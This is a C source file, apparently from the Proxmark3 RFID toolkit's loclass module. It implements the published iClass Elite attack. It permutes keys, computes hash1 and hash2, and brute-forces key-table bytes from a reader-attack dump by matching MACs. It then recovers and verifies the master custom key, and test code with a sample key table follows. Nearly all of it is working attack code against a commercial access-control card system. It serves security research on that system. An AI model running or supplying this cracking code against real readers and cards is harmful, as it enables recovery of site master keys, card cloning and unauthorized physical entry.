| 1 | #include <stdint.h> |
| 2 | #include <stdbool.h> |
| 3 | #include <string.h> |
| 4 | #include <stdio.h> |
| 5 | #include <time.h> |
| 6 | #include "cipherutils.h" |
| 7 | #include "cipher.h" |
| 8 | #include "ikeys.h" |
| 9 | #include "elite_crack.h" |
| 10 | #include "fileutils.h" |
| 11 | #include "des.h" |
| 12 | |
| 13 | /** |
| 14 | * @brief Permutes a key from standard NIST format to Iclass specific format |
| 15 | * from http://www.proxmark.org/forum/viewtopic.php?pid=11220#p11220 |
| 16 | * |
| 17 | * If you permute [6c 8d 44 f9 2a 2d 01 bf] you get [8a 0d b9 88 bb a7 90 ea] as shown below. |
| 18 | * |
| 19 | * 1 0 1 1 1 1 1 1 bf |
| 20 | * 0 0 0 0 0 0 0 1 01 |
| 21 | * 0 0 1 0 1 1 0 1 2d |
| 22 | * 0 0 1 0 1 0 1 0 2a |
| 23 | * 1 1 1 1 1 0 0 1 f9 |
| 24 | * 0 1 0 0 0 1 0 0 44 |
| 25 | * 1 0 0 0 1 1 0 1 8d |
| 26 | * 0 1 1 0 1 1 0 0 6c |
| 27 | * |
| 28 | * 8 0 b 8 b a 9 e |
| 29 | * a d 9 8 b 7 0 a |
| 30 | * |
| 31 | * @param key |
| 32 | * @param dest |
| 33 | */ |
| 34 | void permutekey(uint8_t key[8], uint8_t dest[8]) |
| 35 | { |
| 36 | |
| 37 | int i; |
| 38 | for(i = 0 ; i < 8 ; i++) |
| 39 | { |
| 40 | dest[i] = (((key[7] & (0x80 >> i)) >> (7-i)) << 7) | |
| 41 | (((key[6] & (0x80 >> i)) >> (7-i)) << 6) | |
| 42 | (((key[5] & (0x80 >> i)) >> (7-i)) << 5) | |
| 43 | (((key[4] & (0x80 >> i)) >> (7-i)) << 4) | |
| 44 | (((key[3] & (0x80 >> i)) >> (7-i)) << 3) | |
| 45 | (((key[2] & (0x80 >> i)) >> (7-i)) << 2) | |
| 46 | (((key[1] & (0x80 >> i)) >> (7-i)) << 1) | |
| 47 | (((key[0] & (0x80 >> i)) >> (7-i)) << 0); |
| 48 | } |
| 49 | |
| 50 | return; |
| 51 | } |
| 52 | /** |
| 53 | * Permutes a key from iclass specific format to NIST format |
| 54 | * @brief permutekey_rev |
| 55 | * @param key |
| 56 | * @param dest |
| 57 | */ |
| 58 | void permutekey_rev(uint8_t key[8], uint8_t dest[8]) |
| 59 | { |
| 60 | int i; |
| 61 | for(i = 0 ; i < 8 ; i++) |
| 62 | { |
| 63 | dest[7-i] = (((key[0] & (0x80 >> i)) >> (7-i)) << 7) | |
| 64 | (((key[1] & (0x80 >> i)) >> (7-i)) << 6) | |
| 65 | (((key[2] & (0x80 >> i)) >> (7-i)) << 5) | |
| 66 | (((key[3] & (0x80 >> i)) >> (7-i)) << 4) | |
| 67 | (((key[4] & (0x80 >> i)) >> (7-i)) << 3) | |
| 68 | (((key[5] & (0x80 >> i)) >> (7-i)) << 2) | |
| 69 | (((key[6] & (0x80 >> i)) >> (7-i)) << 1) | |
| 70 | (((key[7] & (0x80 >> i)) >> (7-i)) << 0); |
| 71 | } |
| 72 | } |
| 73 | |
| 74 | /** |
| 75 | * Helper function for hash1 |
| 76 | * @brief rr |
| 77 | * @param val |
| 78 | * @return |
| 79 | */ |
| 80 | uint8_t rr(uint8_t val) |
| 81 | { |
| 82 | return val >> 1 | (( val & 1) << 7); |
| 83 | } |
| 84 | /** |
| 85 | * Helper function for hash1 |
| 86 | * @brief rl |
| 87 | * @param val |
| 88 | * @return |
| 89 | */ |
| 90 | uint8_t rl(uint8_t val) |
| 91 | { |
| 92 | return val << 1 | (( val & 0x80) >> 7); |
| 93 | } |
| 94 | /** |
| 95 | * Helper function for hash1 |
| 96 | * @brief swap |
| 97 | * @param val |
| 98 | * @return |
| 99 | */ |
| 100 | uint8_t swap(uint8_t val) |
| 101 | { |
| 102 | return ((val >> 4) & 0xFF) | ((val &0xFF) << 4); |
| 103 | } |
| 104 | |
| 105 | /** |
| 106 | * Hash1 takes CSN as input, and determines what bytes in the keytable will be used |
| 107 | * when constructing the K_sel. |
| 108 | * @param csn the CSN used |
| 109 | * @param k output |
| 110 | */ |
| 111 | void hash1(uint8_t csn[] , uint8_t k[]) |
| 112 | { |
| 113 | k[0] = csn[0]^csn[1]^csn[2]^csn[3]^csn[4]^csn[5]^csn[6]^csn[7]; |
| 114 | k[1] = csn[0]+csn[1]+csn[2]+csn[3]+csn[4]+csn[5]+csn[6]+csn[7]; |
| 115 | k[2] = rr(swap( csn[2]+k[1] )); |
| 116 | k[3] = rl(swap( csn[3]+k[0] )); |
| 117 | k[4] = ~rr( csn[4]+k[2] )+1; |
| 118 | k[5] = ~rl( csn[5]+k[3] )+1; |
| 119 | k[6] = rr( csn[6]+(k[4]^0x3c) ); |
| 120 | k[7] = rl( csn[7]+(k[5]^0xc3) ); |
| 121 | int i; |
| 122 | for(i = 7; i >=0; i--) |
| 123 | k[i] = k[i] & 0x7F; |
| 124 | } |
| 125 | /** |
| 126 | Definition 14. Define the rotate key function rk : (F 82 ) 8 × N → (F 82 ) 8 as |
| 127 | rk(x [0] . . . x [7] , 0) = x [0] . . . x [7] |
| 128 | rk(x [0] . . . x [7] , n + 1) = rk(rl(x [0] ) . . . rl(x [7] ), n) |
| 129 | **/ |
| 130 | void rk(uint8_t *key, uint8_t n, uint8_t *outp_key) |
| 131 | { |
| 132 | |
| 133 | memcpy(outp_key, key, 8); |
| 134 | |
| 135 | uint8_t j; |
| 136 | |
| 137 | while(n-- > 0) |
| 138 | for(j=0; j < 8 ; j++) |
| 139 | outp_key[j] = rl(outp_key[j]); |
| 140 | |
| 141 | return; |
| 142 | } |
| 143 | |
| 144 | static des_context ctx_enc = {DES_ENCRYPT,{0}}; |
| 145 | static des_context ctx_dec = {DES_DECRYPT,{0}}; |
| 146 | |
| 147 | void desdecrypt_iclass(uint8_t *iclass_key, uint8_t *input, uint8_t *output) |
| 148 | { |
| 149 | uint8_t key_std_format[8] = {0}; |
| 150 | permutekey_rev(iclass_key, key_std_format); |
| 151 | des_setkey_dec( &ctx_dec, key_std_format); |
| 152 | des_crypt_ecb(&ctx_dec,input,output); |
| 153 | } |
| 154 | void desencrypt_iclass(uint8_t *iclass_key, uint8_t *input, uint8_t *output) |
| 155 | { |
| 156 | uint8_t key_std_format[8] = {0}; |
| 157 | permutekey_rev(iclass_key, key_std_format); |
| 158 | des_setkey_enc( &ctx_enc, key_std_format); |
| 159 | des_crypt_ecb(&ctx_enc,input,output); |
| 160 | } |
| 161 | |
| 162 | /** |
| 163 | * @brief Insert uint8_t[8] custom master key to calculate hash2 and return key_select. |
| 164 | * @param key unpermuted custom key |
| 165 | * @param hash1 hash1 |
| 166 | * @param key_sel output key_sel=h[hash1[i]] |
| 167 | */ |
| 168 | void hash2(uint8_t *key64, uint8_t *outp_keytable) |
| 169 | { |
| 170 | /** |
| 171 | *Expected: |
| 172 | * High Security Key Table |
| 173 | |
| 174 | 00 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1 |
| 175 | 10 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21 |
| 176 | 20 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2 |
| 177 | 30 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C |
| 178 | 40 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6 |
| 179 | 50 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42 |
| 180 | 60 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95 |
| 181 | 70 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB |
| 182 | |
| 183 | **** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ******/ |
| 184 | uint8_t key64_negated[8] = {0}; |
| 185 | uint8_t z[8][8]={{0},{0}}; |
| 186 | uint8_t temp_output[8]={0}; |
| 187 | //calculate complement of key |
| 188 | int i; |
| 189 | for(i=0;i<8;i++) |
| 190 | key64_negated[i]= ~key64[i]; |
| 191 | |
| 192 | // Once again, key is on iclass-format |
| 193 | desencrypt_iclass(key64, key64_negated, z[0]); |
| 194 | |
| 195 | prnlog("\nHigh security custom key (Kcus):"); |
| 196 | printvar("z0 ", z[0],8); |
| 197 | |
| 198 | uint8_t y[8][8]={{0},{0}}; |
| 199 | |
| 200 | // y[0]=DES_dec(z[0],~key) |
| 201 | // Once again, key is on iclass-format |
| 202 | desdecrypt_iclass(z[0], key64_negated, y[0]); |
| 203 | printvar("y0 ", y[0],8); |
| 204 | |
| 205 | for(i=1; i<8; i++) |
| 206 | { |
| 207 | |
| 208 | // z [i] = DES dec (rk(K cus , i), z [i−1] ) |
| 209 | rk(key64, i, temp_output); |
| 210 | //y [i] = DES enc (rk(K cus , i), y [i−1] ) |
| 211 | |
| 212 | desdecrypt_iclass(temp_output,z[i-1], z[i]); |
| 213 | desencrypt_iclass(temp_output,y[i-1], y[i]); |
| 214 | |
| 215 | } |
| 216 | if(outp_keytable != NULL) |
| 217 | { |
| 218 | for(i = 0 ; i < 8 ; i++) |
| 219 | { |
| 220 | memcpy(outp_keytable+i*16,y[i],8); |
| 221 | memcpy(outp_keytable+8+i*16,z[i],8); |
| 222 | } |
| 223 | }else |
| 224 | { |
| 225 | printarr_human_readable("hash2", outp_keytable,128); |
| 226 | } |
| 227 | } |
| 228 | |
| 229 | /** |
| 230 | * @brief Reads data from the iclass-reader-attack dump file. |
| 231 | * @param dump, data from a iclass reader attack dump. The format of the dumpdata is expected to be as follows: |
| 232 | * <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC><8 byte HASH1><1 byte NUM_BYTES_TO_RECOVER><3 bytes BYTES_TO_RECOVER> |
| 233 | * .. N times... |
| 234 | * |
| 235 | * So the first attack, with 3 bytes to recover would be : ... 03000145 |
| 236 | * And a later attack, with 1 byte to recover (byte 0x5)would be : ...01050000 |
| 237 | * And an attack, with 2 bytes to recover (byte 0x5 and byte 0x07 )would be : ...02050700 |
| 238 | * |
| 239 | * @param cc_nr an array to store cc_nr into (12 bytes) |
| 240 | * @param csn an arracy ot store CSN into (8 bytes) |
| 241 | * @param received_mac an array to store MAC into (4 bytes) |
| 242 | * @param i the number to read. Should be less than 127, or something is wrong... |
| 243 | * @return |
| 244 | */ |
| 245 | int _readFromDump(uint8_t dump[], dumpdata* item, uint8_t i) |
| 246 | { |
| 247 | size_t itemsize = sizeof(dumpdata); |
| 248 | //dumpdata item = {0}; |
| 249 | memcpy(item,dump+i*itemsize, itemsize); |
| 250 | if(true) |
| 251 | { |
| 252 | printvar("csn", item->csn,8); |
| 253 | printvar("cc_nr", item->cc_nr,12); |
| 254 | printvar("mac", item->mac,4); |
| 255 | } |
| 256 | return 0; |
| 257 | } |
| 258 | |
| 259 | static uint32_t startvalue = 0; |
| 260 | /** |
| 261 | * @brief Performs brute force attack against a dump-data item, containing csn, cc_nr and mac. |
| 262 | *This method calculates the hash1 for the CSN, and determines what bytes need to be bruteforced |
| 263 | *on the fly. If it finds that more than three bytes need to be bruteforced, it aborts. |
| 264 | *It updates the keytable with the findings, also using the upper half of the 16-bit ints |
| 265 | *to signal if the particular byte has been cracked or not. |
| 266 | * |
| 267 | * @param dump The dumpdata from iclass reader attack. |
| 268 | * @param keytable where to write found values. |
| 269 | * @return |
| 270 | */ |
| 271 | int bruteforceItem(dumpdata item, uint16_t keytable[]) |
| 272 | { |
| 273 | int errors = 0; |
| 274 | uint8_t key_sel_p[8] = { 0 }; |
| 275 | uint8_t div_key[8] = {0}; |
| 276 | int found = false; |
| 277 | uint8_t key_sel[8] = {0}; |
| 278 | uint8_t calculated_MAC[4] = { 0 }; |
| 279 | |
| 280 | //Get the key index (hash1) |
| 281 | uint8_t key_index[8] = {0}; |
| 282 | hash1(item.csn, key_index); |
| 283 | |
| 284 | |
| 285 | /* |
| 286 | * Determine which bytes to retrieve. A hash is typically |
| 287 | * 01010000454501 |
| 288 | * We go through that hash, and in the corresponding keytable, we put markers |
| 289 | * on what state that particular index is: |
| 290 | * - CRACKED (this has already been cracked) |
| 291 | * - BEING_CRACKED (this is being bruteforced now) |
| 292 | * - CRACK_FAILED (self-explaining...) |
| 293 | * |
| 294 | * The markers are placed in the high area of the 16 bit key-table. |
| 295 | * Only the lower eight bits correspond to the (hopefully cracked) key-value. |
| 296 | **/ |
| 297 | uint8_t bytes_to_recover[3] = {0}; |
| 298 | uint8_t numbytes_to_recover = 0 ; |
| 299 | int i; |
| 300 | for(i =0 ; i < 8 ; i++) |
| 301 | { |
| 302 | if(keytable[key_index[i]] & (CRACKED | BEING_CRACKED)) continue; |
| 303 | bytes_to_recover[numbytes_to_recover++] = key_index[i]; |
| 304 | keytable[key_index[i]] |= BEING_CRACKED; |
| 305 | |
| 306 | if(numbytes_to_recover > 3) |
| 307 | { |
| 308 | prnlog("The CSN requires > 3 byte bruteforce, not supported"); |
| 309 | printvar("CSN", item.csn,8); |
| 310 | printvar("HASH1", key_index,8); |
| 311 | |
| 312 | //Before we exit, reset the 'BEING_CRACKED' to zero |
| 313 | keytable[bytes_to_recover[0]] &= ~BEING_CRACKED; |
| 314 | keytable[bytes_to_recover[1]] &= ~BEING_CRACKED; |
| 315 | keytable[bytes_to_recover[2]] &= ~BEING_CRACKED; |
| 316 | |
| 317 | return 1; |
| 318 | } |
| 319 | } |
| 320 | |
| 321 | /* |
| 322 | *A uint32 has room for 4 bytes, we'll only need 24 of those bits to bruteforce up to three bytes, |
| 323 | */ |
| 324 | uint32_t brute = startvalue; |
| 325 | /* |
| 326 | Determine where to stop the bruteforce. A 1-byte attack stops after 256 tries, |
| 327 | (when brute reaches 0x100). And so on... |
| 328 | bytes_to_recover = 1 --> endmask = 0x0000100 |
| 329 | bytes_to_recover = 2 --> endmask = 0x0010000 |
| 330 | bytes_to_recover = 3 --> endmask = 0x1000000 |
| 331 | */ |
| 332 | |
| 333 | uint32_t endmask = 1 << 8*numbytes_to_recover; |
| 334 | |
| 335 | for(i =0 ; i < numbytes_to_recover && numbytes_to_recover > 1; i++) |
| 336 | prnlog("Bruteforcing byte %d", bytes_to_recover[i]); |
| 337 | |
| 338 | while(!found && !(brute & endmask)) |
| 339 | { |
| 340 | |
| 341 | //Update the keytable with the brute-values |
| 342 | for(i =0 ; i < numbytes_to_recover; i++) |
| 343 | { |
| 344 | keytable[bytes_to_recover[i]] &= 0xFF00; |
| 345 | keytable[bytes_to_recover[i]] |= (brute >> (i*8) & 0xFF); |
| 346 | } |
| 347 | |
| 348 | // Piece together the key |
| 349 | key_sel[0] = keytable[key_index[0]] & 0xFF;key_sel[1] = keytable[key_index[1]] & 0xFF; |
| 350 | key_sel[2] = keytable[key_index[2]] & 0xFF;key_sel[3] = keytable[key_index[3]] & 0xFF; |
| 351 | key_sel[4] = keytable[key_index[4]] & 0xFF;key_sel[5] = keytable[key_index[5]] & 0xFF; |
| 352 | key_sel[6] = keytable[key_index[6]] & 0xFF;key_sel[7] = keytable[key_index[7]] & 0xFF; |
| 353 | |
| 354 | //Permute from iclass format to standard format |
| 355 | permutekey_rev(key_sel,key_sel_p); |
| 356 | //Diversify |
| 357 | diversifyKey(item.csn, key_sel_p, div_key); |
| 358 | //Calc mac |
| 359 | doMAC(item.cc_nr,12, div_key,calculated_MAC); |
| 360 | |
| 361 | if(memcmp(calculated_MAC, item.mac, 4) == 0) |
| 362 | { |
| 363 | for(i =0 ; i < numbytes_to_recover; i++) |
| 364 | prnlog("=> %d: 0x%02x", bytes_to_recover[i],0xFF & keytable[bytes_to_recover[i]]); |
| 365 | found = true; |
| 366 | break; |
| 367 | } |
| 368 | brute++; |
| 369 | if((brute & 0xFFFF) == 0) |
| 370 | { |
| 371 | printf("%d",(brute >> 16) & 0xFF); |
| 372 | fflush(stdout); |
| 373 | } |
| 374 | } |
| 375 | if(! found) |
| 376 | { |
| 377 | prnlog("Failed to recover %d bytes using the following CSN",numbytes_to_recover); |
| 378 | printvar("CSN",item.csn,8); |
| 379 | errors++; |
| 380 | //Before we exit, reset the 'BEING_CRACKED' to zero |
| 381 | for(i =0 ; i < numbytes_to_recover; i++) |
| 382 | { |
| 383 | keytable[bytes_to_recover[i]] &= 0xFF; |
| 384 | keytable[bytes_to_recover[i]] |= CRACK_FAILED; |
| 385 | } |
| 386 | |
| 387 | }else |
| 388 | { |
| 389 | for(i =0 ; i < numbytes_to_recover; i++) |
| 390 | { |
| 391 | keytable[bytes_to_recover[i]] &= 0xFF; |
| 392 | keytable[bytes_to_recover[i]] |= CRACKED; |
| 393 | } |
| 394 | |
| 395 | } |
| 396 | return errors; |
| 397 | } |
| 398 | |
| 399 | |
| 400 | /** |
| 401 | * From dismantling iclass-paper: |
| 402 | * Assume that an adversary somehow learns the first 16 bytes of hash2(K_cus ), i.e., y [0] and z [0] . |
| 403 | * Then he can simply recover the master custom key K_cus by computing |
| 404 | * K_cus = ~DES(z[0] , y[0] ) . |
| 405 | * |
| 406 | * Furthermore, the adversary is able to verify that he has the correct K cus by |
| 407 | * checking whether z [0] = DES enc (K_cus , ~K_cus ). |
| 408 | * @param keytable an array (128 bytes) of hash2(kcus) |
| 409 | * @param master_key where to put the master key |
| 410 | * @return 0 for ok, 1 for failz |
| 411 | */ |
| 412 | int calculateMasterKey(uint8_t first16bytes[], uint64_t master_key[] ) |
| 413 | { |
| 414 | des_context ctx_e = {DES_ENCRYPT,{0}}; |
| 415 | |
| 416 | uint8_t z_0[8] = {0}; |
| 417 | uint8_t y_0[8] = {0}; |
| 418 | uint8_t z_0_rev[8] = {0}; |
| 419 | uint8_t key64[8] = {0}; |
| 420 | uint8_t key64_negated[8] = {0}; |
| 421 | uint8_t result[8] = {0}; |
| 422 | |
| 423 | // y_0 and z_0 are the first 16 bytes of the keytable |
| 424 | memcpy(y_0,first16bytes,8); |
| 425 | memcpy(z_0,first16bytes+8,8); |
| 426 | |
| 427 | // Our DES-implementation uses the standard NIST |
| 428 | // format for keys, thus must translate from iclass |
| 429 | // format to NIST-format |
| 430 | permutekey_rev(z_0, z_0_rev); |
| 431 | |
| 432 | // ~K_cus = DESenc(z[0], y[0]) |
| 433 | des_setkey_enc( &ctx_e, z_0_rev ); |
| 434 | des_crypt_ecb(&ctx_e, y_0, key64_negated); |
| 435 | |
| 436 | int i; |
| 437 | for(i = 0; i < 8 ; i++) |
| 438 | { |
| 439 | key64[i] = ~key64_negated[i]; |
| 440 | } |
| 441 | |
| 442 | // Can we verify that the key is correct? |
| 443 | // Once again, key is on iclass-format |
| 444 | uint8_t key64_stdformat[8] = {0}; |
| 445 | permutekey_rev(key64, key64_stdformat); |
| 446 | |
| 447 | des_setkey_enc( &ctx_e, key64_stdformat ); |
| 448 | des_crypt_ecb(&ctx_e, key64_negated, result); |
| 449 | prnlog("\nHigh security custom key (Kcus):"); |
| 450 | printvar("Std format ", key64_stdformat,8); |
| 451 | printvar("Iclass format", key64,8); |
| 452 | |
| 453 | if(master_key != NULL) |
| 454 | memcpy(master_key, key64, 8); |
| 455 | |
| 456 | if(memcmp(z_0,result,4) != 0) |
| 457 | { |
| 458 | prnlog("Failed to verify calculated master key (k_cus)! Something is wrong."); |
| 459 | return 1; |
| 460 | }else{ |
| 461 | prnlog("Key verified ok!\n"); |
| 462 | } |
| 463 | return 0; |
| 464 | } |
| 465 | /** |
| 466 | * @brief Same as bruteforcefile, but uses a an array of dumpdata instead |
| 467 | * @param dump |
| 468 | * @param dumpsize |
| 469 | * @param keytable |
| 470 | * @return |
| 471 | */ |
| 472 | int bruteforceDump(uint8_t dump[], size_t dumpsize, uint16_t keytable[]) |
| 473 | { |
| 474 | uint8_t i; |
| 475 | int errors = 0; |
| 476 | size_t itemsize = sizeof(dumpdata); |
| 477 | clock_t t1 = clock(); |
| 478 | |
| 479 | dumpdata* attack = (dumpdata* ) malloc(itemsize); |
| 480 | |
| 481 | for(i = 0 ; i * itemsize < dumpsize ; i++ ) |
| 482 | { |
| 483 | memcpy(attack,dump+i*itemsize, itemsize); |
| 484 | errors += bruteforceItem(*attack, keytable); |
| 485 | } |
| 486 | free(attack); |
| 487 | clock_t t2 = clock(); |
| 488 | float diff = (((float)t2 - (float)t1) / CLOCKS_PER_SEC ); |
| 489 | prnlog("\nPerformed full crack in %f seconds",diff); |
| 490 | |
| 491 | // Pick out the first 16 bytes of the keytable. |
| 492 | // The keytable is now in 16-bit ints, where the upper 8 bits |
| 493 | // indicate crack-status. Those must be discarded for the |
| 494 | // master key calculation |
| 495 | uint8_t first16bytes[16] = {0}; |
| 496 | |
| 497 | for(i = 0 ; i < 16 ; i++) |
| 498 | { |
| 499 | first16bytes[i] = keytable[i] & 0xFF; |
| 500 | if(!(keytable[i] & CRACKED)) |
| 501 | { |
| 502 | prnlog("Error, we are missing byte %d, custom key calculation will fail...", i); |
| 503 | } |
| 504 | } |
| 505 | errors += calculateMasterKey(first16bytes, NULL); |
| 506 | return errors; |
| 507 | } |
| 508 | /** |
| 509 | * Perform a bruteforce against a file which has been saved by pm3 |
| 510 | * |
| 511 | * @brief bruteforceFile |
| 512 | * @param filename |
| 513 | * @return |
| 514 | */ |
| 515 | int bruteforceFile(const char *filename, uint16_t keytable[]) |
| 516 | { |
| 517 | |
| 518 | FILE *f = fopen(filename, "rb"); |
| 519 | if(!f) { |
| 520 | prnlog("Failed to read from file '%s'", filename); |
| 521 | return 1; |
| 522 | } |
| 523 | |
| 524 | fseek(f, 0, SEEK_END); |
| 525 | long fsize = ftell(f); |
| 526 | fseek(f, 0, SEEK_SET); |
| 527 | |
| 528 | uint8_t *dump = malloc(fsize); |
| 529 | size_t bytes_read = fread(dump, 1, fsize, f); |
| 530 | |
| 531 | fclose(f); |
| 532 | if (bytes_read < fsize) |
| 533 | { |
| 534 | prnlog("Error, could only read %d bytes (should be %d)",bytes_read, fsize ); |
| 535 | } |
| 536 | return bruteforceDump(dump,fsize,keytable); |
| 537 | } |
| 538 | /** |
| 539 | * |
| 540 | * @brief Same as above, if you don't care about the returned keytable (results only printed on screen) |
| 541 | * @param filename |
| 542 | * @return |
| 543 | */ |
| 544 | int bruteforceFileNoKeys(const char *filename) |
| 545 | { |
| 546 | uint16_t keytable[128] = {0}; |
| 547 | return bruteforceFile(filename, keytable); |
| 548 | } |
| 549 | |
| 550 | // --------------------------------------------------------------------------------- |
| 551 | // ALL CODE BELOW THIS LINE IS PURELY TESTING |
| 552 | // --------------------------------------------------------------------------------- |
| 553 | // ---------------------------------------------------------------------------- |
| 554 | // TEST CODE BELOW |
| 555 | // ---------------------------------------------------------------------------- |
| 556 | |
| 557 | int _testBruteforce() |
| 558 | { |
| 559 | int errors = 0; |
| 560 | if(true){ |
| 561 | // First test |
| 562 | prnlog("[+] Testing crack from dumpfile..."); |
| 563 | |
| 564 | /** |
| 565 | Expected values for the dumpfile: |
| 566 | High Security Key Table |
| 567 | |
| 568 | 00 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1 |
| 569 | 10 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21 |
| 570 | 20 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2 |
| 571 | 30 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C |
| 572 | 40 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6 |
| 573 | 50 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42 |
| 574 | 60 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95 |
| 575 | 70 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB |
| 576 | |
| 577 | **** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 **** |
| 578 | **/ |
| 579 | uint16_t keytable[128] = {0}; |
| 580 | |
| 581 | //Test a few variants |
| 582 | if(fileExists("iclass_dump.bin")) |
| 583 | { |
| 584 | errors |= bruteforceFile("iclass_dump.bin",keytable); |
| 585 | }else if(fileExists("loclass/iclass_dump.bin")){ |
| 586 | errors |= bruteforceFile("loclass/iclass_dump.bin",keytable); |
| 587 | }else if(fileExists("client/loclass/iclass_dump.bin")){ |
| 588 | errors |= bruteforceFile("client/loclass/iclass_dump.bin",keytable); |
| 589 | }else{ |
| 590 | prnlog("Error: The file iclass_dump.bin was not found!"); |
| 591 | } |
| 592 | } |
| 593 | return errors; |
| 594 | } |
| 595 | |
| 596 | int _test_iclass_key_permutation() |
| 597 | { |
| 598 | uint8_t testcase[8] = {0x6c,0x8d,0x44,0xf9,0x2a,0x2d,0x01,0xbf}; |
| 599 | uint8_t testcase_output[8] = {0}; |
| 600 | uint8_t testcase_output_correct[8] = {0x8a,0x0d,0xb9,0x88,0xbb,0xa7,0x90,0xea}; |
| 601 | uint8_t testcase_output_rev[8] = {0}; |
| 602 | permutekey(testcase, testcase_output); |
| 603 | permutekey_rev(testcase_output, testcase_output_rev); |
| 604 | |
| 605 | |
| 606 | if(memcmp(testcase_output, testcase_output_correct,8) != 0) |
| 607 | { |
| 608 | prnlog("Error with iclass key permute!"); |
| 609 | printarr("testcase_output", testcase_output, 8); |
| 610 | printarr("testcase_output_correct", testcase_output_correct, 8); |
| 611 | return 1; |
| 612 | |
| 613 | } |
| 614 | if(memcmp(testcase, testcase_output_rev, 8) != 0) |
| 615 | { |
| 616 | prnlog("Error with reverse iclass key permute"); |
| 617 | printarr("testcase", testcase, 8); |
| 618 | printarr("testcase_output_rev", testcase_output_rev, 8); |
| 619 | return 1; |
| 620 | } |
| 621 | |
| 622 | prnlog("[+] Iclass key permutation OK!"); |
| 623 | return 0; |
| 624 | } |
| 625 | |
| 626 | int testElite() |
| 627 | { |
| 628 | prnlog("[+] Testing iClass Elite functinality..."); |
| 629 | prnlog("[+] Testing hash2"); |
| 630 | uint8_t k_cus[8] = {0x5B,0x7C,0x62,0xC4,0x91,0xC1,0x1B,0x39}; |
| 631 | |
| 632 | /** |
| 633 | *Expected: |
| 634 | * High Security Key Table |
| 635 | |
| 636 | 00 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1 |
| 637 | 10 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21 |
| 638 | 20 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2 |
| 639 | 30 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C |
| 640 | 40 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6 |
| 641 | 50 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42 |
| 642 | 60 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95 |
| 643 | 70 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB |
| 644 | |
| 645 | |
| 646 | |
| 647 | **** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 **** |
| 648 | */ |
| 649 | uint8_t keytable[128] = {0}; |
| 650 | hash2(k_cus, keytable); |
| 651 | printarr_human_readable("Hash2", keytable, 128); |
| 652 | if(keytable[3] == 0xA1 && keytable[0x30] == 0xA3 && keytable[0x6F] == 0x95) |
| 653 | { |
| 654 | prnlog("[+] Hash2 looks fine..."); |
| 655 | } |
| 656 | |
| 657 | prnlog("[+] Testing key diversification ..."); |
| 658 | |
| 659 | int errors = 0 ; |
| 660 | errors +=_test_iclass_key_permutation(); |
| 661 | errors += _testBruteforce(); |
| 662 | return errors; |
| 663 | |
| 664 | } |
| 665 | |